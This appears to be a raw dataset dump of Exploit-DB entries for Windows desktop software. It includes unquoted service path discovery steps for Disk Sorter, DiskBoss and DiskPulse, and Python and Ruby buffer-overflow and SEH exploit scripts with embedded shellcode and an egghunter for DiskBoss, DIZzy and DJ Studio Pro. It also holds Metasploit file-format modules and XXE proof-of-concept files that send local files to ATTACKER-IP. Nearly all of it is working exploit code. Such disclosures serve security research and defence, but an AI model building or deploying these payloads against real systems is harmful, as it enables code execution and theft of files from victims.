deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50013
Description: Disk Sorter Server 13.6.12 - 'Disk Sorter Server' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-06-16
Author: BRushiran

Exploit:
 # Exploit Title: Disk Sorter Server 13.6.12 - 'Disk Sorter Server' Unquoted Service Path
# Discovery by: BRushiran
# Date: 15-06-2021
# Vendor Homepage: https://www.disksorter.com
# Software Links: https://www.disksorter.com/setups_x64/disksortersrv_setup_v13.6.12_x64.exe
# Tested Version: 13.6.12
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """

Disk Sorter Server   Disk Sorter Server   C:\Program Files\Disk Sorter
Server\bin\disksrs.exe   Auto

C:\>sc qc "Disk Sorter Server"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Disk Sorter Server
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 0   IGNORE
        NOMBRE_RUTA_BINARIO: C:\Program Files\Disk Sorter
Server\bin\disksrs.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Disk Sorter Server
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #41772
Description: DiskBoss Enterprise 7.8.16 - 'Import Command' Local Buffer Overflow
Type: local
Platform: windows
Date: 2017-03-29
Author: Daniel Teixeira

Exploit:
#!/usr/bin/env python

# Exploit Title: DiskBoss Enterprise v7.8.16 - 'Import Command' Buffer Overflow
# Date: 2017-03-29
# Exploit Author: Daniel Teixeira
# Author Homepage: www.danielteixeira.com
# Vendor Homepage: http://www.diskboss.com
# Software Link: http://www.diskboss.com/setups/diskbossent_setup_v7.8.16.exe
# Version: 9.5.12
# Tested on: Windows 7 SP1 x86

import os,struct

#Buffer overflow
junk = "A" * 1536

#JMP ESP (QtGui4.dll)
jmpesp= struct.pack('<L',0x651bb77a)

#NOPS
nops = "\x90"

#LEA   EAX, [ESP+76]
esp = "\x8D\x44\x24\x4C"
#JMP ESP
jmp = "\xFF\xE0"

#JMP Short = EB 05
nSEH = "\x90\x90\xEB\x05" #Jump short 5
#POP POP RET (libspp.dll)
SEH = struct.pack('<L',0x10015FFE)

#CALC.EXE
shellcode =  "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"

#PAYLOAD
payload = junk + jmpesp + nops * 16 + esp + jmp + nops * 68 + nSEH + SEH + nops * 10 + shellcode + nops * 5000

#FILE
file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + '\n</classify>'

f = open('Exploit.xml', 'w')
f.write(file)
f.close()
Exploit-DB #42918
Description: DiskBoss Enterprise 8.4.16 - 'Import Command' Local Buffer Overflow
Type: local
Platform: windows
Date: 2017-09-28
Author: Touhid M.Shaikh

Exploit:
#!/usr/bin/python

#========================================================================================================================
# Exploit Author: Touhid M.Shaikh
# Exploit Title: DiskBoss Enterprise v8.4.16 "Import Command" Buffer
Overflow
# Date: 29-09-2017
# Website: www.touhidshaikh.com
# Contact: https://github.com/touhidshaikh
# Vulnerable Software: DiskBoss Enterprise v8.4.16
# Vendor Homepage: http://www.diskboss.com
# Version: v8.4.16
# Software Link: http://www.diskboss.com/downloads.html
# Tested On: Windows 7 x86
#
#
# To reproduce the exploit:
#   1. right Click, click on Import Command
#   2. select evil.xml , Booom Calc POPED up.. ;)
#========================================================================================================================


import os,struct
import sys

#offset to eip
junk = "A" * (1560)

#JMP ESP (QtGui4.dll)
jmp1 = struct.pack('<L',0x651bb77a)

#NOPS
nops = "\x90"

#LEA   EAX, [ESP+76]
esp = "\x8D\x44\x24\x4c"

#JMP ESP
jmp2 = "\xFF\xE0"

#Jump short 5
nseh = "\x90\x90\xEB\x05"

#POP POP RET
seh = struct.pack('<L',0x6501DE41)

#CALC.EXE pop shellcode
shellcode =
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"


# FINAL PAYLOAD
buf = junk + jmp1 + nops * 16 + esp + jmp2 + nops * 90 + nseh + seh + nops
* 10 + shellcode


#FILE
file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + buf +
'\n</classify>'


f = open('evil.xml', 'w')
f.write(file)
f.close()

#GREETZ ----------
#Taushif(Brother)
#-----------------
Exploit-DB #49899
Description: DiskBoss Service 12.2.18 - 'diskbsa.exe' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-05-24
Author: Erick Galindo

Exploit:
# Exploit Title: DiskBoss Service 12.2.18 - 'diskbsa.exe' Unquoted Service Path
# Discovery by: Erick Galindo 
# Discovery Date: 2021-05-21
# Vendor Homepage: https://www.diskboss.com
# Software :  https://www.diskboss.com/setups_x64/diskboss_setup_v12.2.18_x64.exe
# Tested Version: 12.2.18
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro  x64 es
# Step to discover Unquoted Service Path:

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "DiskBoss" | findstr /i /v """
DiskBoss Service                 DiskBoss Service            C:\Program Files\DiskBoss\bin\diskbsa.exe                   Auto

# Service info

C:\>sc qc "DiskBoss Service"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: DiskBoss Service
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 0   IGNORE
        NOMBRE_RUTA_BINARIO: C:\Program Files\DiskBoss\bin\diskbsa.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : DiskBoss Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

#Exploit:

This vulnerability could permit executing code during startup or reboot with the escalated privileges.
Exploit-DB #50012
Description: DiskPulse 13.6.14 - 'Multiple' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-06-16
Author: Brian Rodriguez

Exploit:
# Exploit Title: DiskPulse 13.6.14 - 'Multiple' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 14-06-2021
# Vendor Homepage: https://www.diskpulse.com
# Software Links:
# https://www.diskpulse.com/setups_x64/diskpulseent_setup_v13.6.14_x64.exe
# https://www.diskpulse.com/setups_x64/diskpulsesrv_setup_v13.6.14_x64.exe
# Tested Version: 13.6.14
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """

Disk Pulse Enterprise   Disk Pulse Enterprise  C:\Program Files\Disk Pulse
Enterprise\bin\diskpls.exe    Auto
Disk Pulse Server    Disk Pulse Server   C:\Program Files\Disk Pulse
Server\bin\diskpls.exe   Auto

C:\Users\IEUser>sc qc "Disk Pulse Enterprise"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Disk Pulse Enterprise
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 0   IGNORE
        NOMBRE_RUTA_BINARIO: C:\Program Files\Disk Pulse
Enterprise\bin\diskpls.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Disk Pulse Enterprise
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

C:\Users\IEUser>sc qc "Disk Pulse Server"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Disk Pulse Server
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 0   IGNORE
        NOMBRE_RUTA_BINARIO: C:\Program Files\Disk Pulse
Server\bin\diskpls.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Disk Pulse Server
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #42000
Description: Dive Assistant Template Builder 8.0 - XML External Entity Injection
Type: local
Platform: windows
Date: 2017-05-12
Author: Trent Gordon

Exploit:
[+] Exploit Title: Dive Assistant - Template Builder XXE Injection
[+] Date: 12-05-2017
[+] Exploit Author: Trent Gordon
[+] Vendor Homepage: http://www.blackwave.com/
[+] Software Link: http://www.diveassistant.com/Products/DiveAssistantDesktop/index.aspx
[+] Version: 8.0
[+] Tested on: Windows 7 SP1, Windows 10
[+] CVE: CVE-2017-8918

1. Vulnerability Description

Dive Assistant - Desktop Edition comes with a template builder .exe to create print templates.  The templates are saved and uploaded as XML files which are vulnerable to XXE injection.  Sending a crafted payload to a user, when opened in Dive Assistant - Template Builder, will return the content of any local files to a remote attacker.

2. Proof of Concept

a.) python -m SimpleHTTPServer 9999 (listening on attacker's IP and hosting payload.dtd)

b.) Hosted "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>

<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-IP:9999?%file;'>">

%all;

c.) Exploited "template.xml"

<?xml version="1.0"?
<!DOCTYPE exploit [
<!ENTITY % file SYSTEM "C:\Windows\System.ini">
<!ENTITY % dtd SYSTEM "http://ATTACKER-IP:9999?%file;'>">
%dtd;]>
<exploit>&send;</exploit>
Exploit-DB #43187
Description: Diving Log 6.0 - XML External Entity Injection
Type: local
Platform: windows
Date: 2017-11-27
Author: Trent Gordon

Exploit:
[+] Exploit Title: Diving Log 6.0 XXE Injection
[+] Date: 27-11-2017
[+] Exploit Author: Trent Gordon
[+] Vendor Homepage: http://www.divinglog.de
[+] Software Link: http://www.divinglog.de/english/download/
[+] Disclosed at: https://thenopsled.com/divinglog.txt
[+] Version: 6.0
[+] Tested on: Windows 7 SP1, Windows 10
[+] CVE: CVE-2017-9095

==================
Background:
==================
Diving Log 6.0 is a scuba diving log software that manages and consolidates logs from other disparate sources.  Many scuba diving log software programs export their data in an XML file. 

==================
Vulnerability:
==================
By having a user import a crafted dive.xml file (very common, many divers share logs), it is possible to execute a XXE injection which retrieves local files and exfiltrates them to a remote attacker.
1.)Open Diving Log 6.0
2.)Close "Welcome Center" popup and select "Import" from the bottom left corner
3.)Select "Subsurface" from the list of import data types.
4.)"Open File" and select the crafted dive.xml file (with listener open on ATTACKERS-IP)

==================
Proof of Concept:
==================

a.) python -m SimpleHTTPServer 9999 (listening on ATTACKERS-IP and hosting payload.dtd)

b.) Hosted "payload.dtd"

<?xml version="1.0" encoding="utf-8" ?>
<!ENTITY % data SYSTEM "file:///c:/windows/system.ini">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://ATTACKERS-IP?%data;'>">


c.) Exploited "dive.xml"

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % sp SYSTEM "http://ATTACKERS-IP/payload.dtd">
%sp;
%param1;
%exfil;
]>
<divelog program='subsurface' version='3'>
<settings>
</settings>
<divesites>
<site uuid='33a32a07' name='hacked'>
</site>
</divesites>
<dives>
<dive number='1' divesiteid='33a32a07' date='2017-05-15' time='14:49:10' duration='46:00 min'>
  <notes></notes>
  <cylinder size='11.1 l' workpressure='207.0 bar' description='unknown' />
  <divecomputer model='manually added dive'>
  <depth max='15.0 m' mean='13.37 m' />
  <surface pressure='1.013 bar' />
  <sample time='0:00 min' depth='0.0 m' />
  <sample time='3:00 min' depth='15.0 m' />
  <sample time='40:00 min' depth='15.0 m' />
  <sample time='42:00 min' depth='5.0 m' />
  <sample time='45:00 min' depth='5.0 m' />
  <sample time='46:00 min' depth='0.0 m' />
  </divecomputer>
</dive>
</dives>
</divelog>

==================
Additional Attack Vectors:
==================
I tested and exploited the "subsurface" import option, however MANY other dive log software programs use XML and most are available as Import options in Diving Log 6.0.  This XXE injection vulnerability is most likely vulnerable in every import option that utilizes XML for the underlying custom file format(.UDCF and .UDDF, for example).
Exploit-DB #15566
Description: DIZzy 1.12 - Local Stack Overflow
Type: local
Platform: windows
Date: 2010-11-18
Author: g30rg3_x

Exploit:
#!/usr/bin/ruby
# Exploit Title: DIZzy 1.12 Local Stack Overflow
# Google Dork: n/a
# Date: 17/11/2010
# Author: g30rg3_x
# Version: 1.12
# Tested on: Windows XP SP3 Eng/Spa
# CVE: n/a
# Notes: Bug was originally found on 22/02/2010 but since there is no response from
#        developers it goes public.

# win32/xp sp2 cmd.exe 57 bytes - Mountassif Moad aka Stack
# http://www.exploit-db.com/exploits/13511/
shellcode  = "\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC" +
             "\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45" +
             "\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45" +
             "\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45" +
             "\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3"

# Preparing the exploit...
nop_slide  = "\x90" * 284
nop_slide2 = "\x90" * 17
jmp_esp    = "\x73\x18\x6E\x74" # win32/xp sp3 MSCTF.dll: JMP ESP
exploit    = nop_slide + jmp_esp + nop_slide2 + shellcode
executable = 'dizzy.exe'

# Boom!
exec(executable, exploit)
Exploit-DB #18547
Description: DJ Studio Pro 5.1 - '.pls' Local Stack Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2012-03-02
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'DJ Studio Pro 5.1 .pls Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in DJ Studio Pro 5.1.6.5.2.
				When handling a .pls file, DJ Studio will copy the user-supplied data on the stack
				without any proper bounds checking done beforehand, therefore allowing code
				execution under the context of the user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Sebastien Duquette',
					'Death-Shadow-Dark <death.shadow.dark[at]gmail.com>',
				],
			'References'     =>
				[
					[ 'CVE', '2009-4656'],
					[ 'OSVDB', '58159'],
					[ 'URL', 'http://www.exploit-db.com/exploits/10827' ]
				],
			'Payload'        =>
				{
					'Space'    => 5000,
					'BadChars' => "\x00\x0a\x3d",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					# POP EBX # POP ECX # RET 8
					# DJStudioPro.exe
					[ 'DJ Studio Pro 5.1.6.5.2', { 'Ret' => 0x014FC62D } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Dec 30 2009',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [ true, 'The file name.',  'msf.pls']),
				], self.class)

	end

	def exploit

		sploit = rand_text_alpha_upper(1308)
		sploit << generate_seh_payload(target.ret)
		sploit << rand_text_alpha_upper(10000)

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(sploit)

	end

end
Exploit-DB #10827
Description: DJ Studio Pro 5.1.6.5.2 - Local Overflow (SEH)
Type: local
Platform: windows
Date: 2009-12-30
Author: Sébastien Duquette

Exploit:
#!/usr/bin/ruby
# Exploit Title : DJ Studio Pro 5.1.6.5.2 SEH Exploit
# Date          : 2009-12-30
# Author        : Sébastien Duquette - ekse.0x@gmail.com
# Software Link : http://www.e-soft.co.uk/
# Version       : 5.1.6.5.2
# Tested on     : Windows XP SP2 En
# OSVDB ID      : 58159
# Overflow originally discovered by prodigy

# exec calc.exe
payload = 
"\xda\xdc\xd9\x74\x24\xf4\x5d\x55\x59\x49\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a" +
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" +
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" +
"\x75\x4a\x49\x49\x6c\x48\x68\x4b\x39\x45\x50\x43\x30\x45" +
"\x50\x43\x50\x4d\x59\x48\x65\x46\x51\x4a\x72\x43\x54\x4e" +
"\x6b\x51\x42\x46\x50\x4c\x4b\x50\x52\x44\x4c\x4c\x4b\x51" +
"\x42\x47\x64\x4e\x6b\x44\x32\x51\x38\x46\x6f\x4f\x47\x42" +
"\x6a\x45\x76\x50\x31\x4b\x4f\x50\x31\x4f\x30\x4e\x4c\x47" +
"\x4c\x45\x31\x51\x6c\x47\x72\x44\x6c\x51\x30\x4a\x61\x48" +
"\x4f\x44\x4d\x47\x71\x48\x47\x49\x72\x4a\x50\x43\x62\x43" +
"\x67\x4e\x6b\x51\x42\x46\x70\x4c\x4b\x51\x52\x45\x6c\x45" +
"\x51\x48\x50\x4c\x4b\x51\x50\x44\x38\x4c\x45\x4f\x30\x44" +
"\x34\x43\x7a\x46\x61\x48\x50\x46\x30\x4c\x4b\x47\x38\x45" +
"\x48\x4e\x6b\x51\x48\x45\x70\x46\x61\x48\x53\x4d\x33\x47" +
"\x4c\x47\x39\x4e\x6b\x47\x44\x4c\x4b\x46\x61\x4b\x66\x44" +
"\x71\x4b\x4f\x45\x61\x4b\x70\x4e\x4c\x4a\x61\x4a\x6f\x46" +
"\x6d\x45\x51\x4f\x37\x44\x78\x4b\x50\x44\x35\x48\x74\x45" +
"\x53\x43\x4d\x4a\x58\x47\x4b\x51\x6d\x47\x54\x51\x65\x49" +
"\x72\x51\x48\x4c\x4b\x46\x38\x51\x34\x47\x71\x48\x53\x51" +
"\x76\x4c\x4b\x46\x6c\x50\x4b\x4c\x4b\x43\x68\x45\x4c\x43" +
"\x31\x4a\x73\x4c\x4b\x44\x44\x4c\x4b\x43\x31\x4e\x30\x4d" +
"\x59\x43\x74\x45\x74\x44\x64\x51\x4b\x43\x6b\x51\x71\x51" +
"\x49\x42\x7a\x46\x31\x49\x6f\x4b\x50\x42\x78\x43\x6f\x51" +
"\x4a\x4e\x6b\x46\x72\x48\x6b\x4f\x76\x51\x4d\x51\x7a\x46" +
"\x61\x4c\x4d\x4b\x35\x48\x39\x47\x70\x45\x50\x45\x50\x42" +
"\x70\x45\x38\x46\x51\x4c\x4b\x50\x6f\x4b\x37\x49\x6f\x49" +
"\x45\x4f\x4b\x48\x70\x4c\x75\x4e\x42\x50\x56\x51\x78\x4f" +
"\x56\x4f\x65\x4d\x6d\x4f\x6d\x49\x6f\x4b\x65\x47\x4c\x44" +
"\x46\x43\x4c\x46\x6a\x4f\x70\x49\x6b\x49\x70\x51\x65\x47" +
"\x75\x4d\x6b\x43\x77\x45\x43\x50\x72\x50\x6f\x42\x4a\x47" +
"\x70\x50\x53\x4b\x4f\x48\x55\x43\x53\x43\x51\x50\x6c\x42" +
"\x43\x44\x6e\x43\x55\x44\x38\x45\x35\x45\x50\x44\x4a\x41" +
"\x41"

pattern = File.open('pattern_5000.txt', 'r').read

f = File.open('boom.pls', 'w')
f.print 'A' * 1308
f.print "\xeb\x06\x90\x90"
f.print "\x2d\xc6\x4f\01"   # pop-pop-ret @ 0x014FC62D [djstudiopro.exe]
f.print payload
f.print 'A' * 10000

f.close
Exploit-DB #18501
Description: DJ Studio Pro 5.1.6.5.2 - Local Overflow (SEH) (Metasploit)
Type: local
Platform: windows
Date: 2012-02-20
Author: Death-Shadow-Dark

Exploit:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'DJ Studio Pro 5.1.6.5.2 SEH Exploit',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in DJ Studio Pro 5.1.6.5.2.
				An attacker must send the file to victim and the victim must open the file.
				Alternatively it may be possible to execute code remotely via an embedded
				PLS file within a browser, when the PLS extention is registered to DJ Studio Pro.
				This functionality has not been tested in this module.
			},
			'License'        => MSF_LICENSE,
			'Author' 	 =>
				[
					'Sebastien Duquette',
					'Death-Shadow-Dark <death.shadow.dark@gmail.com>',
				],
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2009-4656'],
					[ 'OSVDB', '58159'],
					[ 'URL', 'http://www.exploit-db.com/exploits/10827' ],
				],
			'Payload'        =>
				{
					'Space'    => 5000,
					'BadChars' => "\x00\x0a\x3d",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Ret' => 0x014FC62D } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Dec 30 2009',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [ true, 'The file name.',  'msf.pls']),
				], self.class)

	end

	def exploit

		sploit = rand_text_alpha_upper(1308)
		sploit << generate_seh_payload(target.ret)
		sploit << rand_text_alpha_upper(10000)

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(sploit)

	end

end
Exploit-DB #15031
Description: DJ Studio Pro 8.1.3.2.1 - Local Overflow (SEH)
Type: local
Platform: windows
Date: 2010-09-17
Author: Abhishek Lyall

Exploit:
#DJ Studio Pro Version 8.1.3.2.1 SEH 0 day
#Author Abhishek Lyall - abhilyall[at]gmail[dot]com, info[at]aslitsecurity[dot]com
#Web - http://www.aslitsecurity.com/
#Blog - http://www.aslitsecurity.blogspot.com/
#Download Vulnerable application from http://www.e-soft.co.uk/DJSP.htm
#Vulnerable version DJ Studio Pro Version 8.1.3.2.1
#Tested on XP SP2 
#Greets Villy, Puneet Jain, Abhishek Sahni and ASL IT SECURITY TEAM
#!/usr/bin/python


filename = "ASL.pls"

#windows/exec - CMD=calc.exe
shellcode = (
"\x41\x42\x48\x49\x41\x42\x48\x49"      #Egg Hunted
"\xDB\xDF\xD9\x74\x24\xF4\x58\x2B\xC9\xB1\x33\xBA"
"\x4C\xA8\x75\x76\x83\xC0\x04\x31\x50\x13\x03\x1C\xBB\x97\x83\x60"
"\x53\xDE\x6C\x98\xA4\x81\xE5\x7D\x95\x93\x92\xF6\x84\x23\xD0\x5A"
"\x25\xCF\xB4\x4E\xBE\xBD\x10\x61\x77\x0B\x47\x4C\x88\xBD\x47\x02"
"\x4A\xDF\x3B\x58\x9F\x3F\x05\x93\xD2\x3E\x42\xC9\x1D\x12\x1B\x86"
"\x8C\x83\x28\xDA\x0C\xA5\xFE\x51\x2C\xDD\x7B\xA5\xD9\x57\x85\xF5"
"\x72\xE3\xCD\xED\xF9\xAB\xED\x0C\x2D\xA8\xD2\x47\x5A\x1B\xA0\x56"
"\x8A\x55\x49\x69\xF2\x3A\x74\x46\xFF\x43\xB0\x60\xE0\x31\xCA\x93"
"\x9D\x41\x09\xEE\x79\xC7\x8C\x48\x09\x7F\x75\x69\xDE\xE6\xFE\x65"
"\xAB\x6D\x58\x69\x2A\xA1\xD2\x95\xA7\x44\x35\x1C\xF3\x62\x91\x45"
"\xA7\x0B\x80\x23\x06\x33\xD2\x8B\xF7\x91\x98\x39\xE3\xA0\xC2\x57"
"\xF2\x21\x79\x1E\xF4\x39\x82\x30\x9D\x08\x09\xDF\xDA\x94\xD8\xA4"
"\x05\x77\xC9\xD0\xAD\x2E\x98\x59\xB0\xD0\x76\x9D\xCD\x52\x73\x5D"
"\x2A\x4A\xF6\x58\x76\xCC\xEA\x10\xE7\xB9\x0C\x87\x08\xE8\x6E\x46"
"\x9B\x70\x5F\xED\x1B\x12\x9F"
)


egghunter = (
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
"\x41\x42\x48\x49"        # Egghunter tag "ABHIABHI"  Greets http://www.corelan.be:8800
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
)

head = "\x5B\x70\x6C\x61\x79\x6C\x69\x73\x74\x5D\x0D\x0A\x46\x69\x6C\x65\x31\x3D"

junk = "\x41" * 1940
nseh = "\xeb\x06\x90\x90"  # Short Jump
seh = "\xcb\x75\x52\x73"   # POP POP RET 0x735275CB msvbvm60.dll
nop = "\x90" * 12          # NOP Sled
padd = "\x90" *(5000-len(junk+nseh+seh+nop+shellcode))

textfile = open(filename , 'w')
textfile.write(head+junk+nseh+seh+nop+egghunter+padd+shellcode)
textfile.close()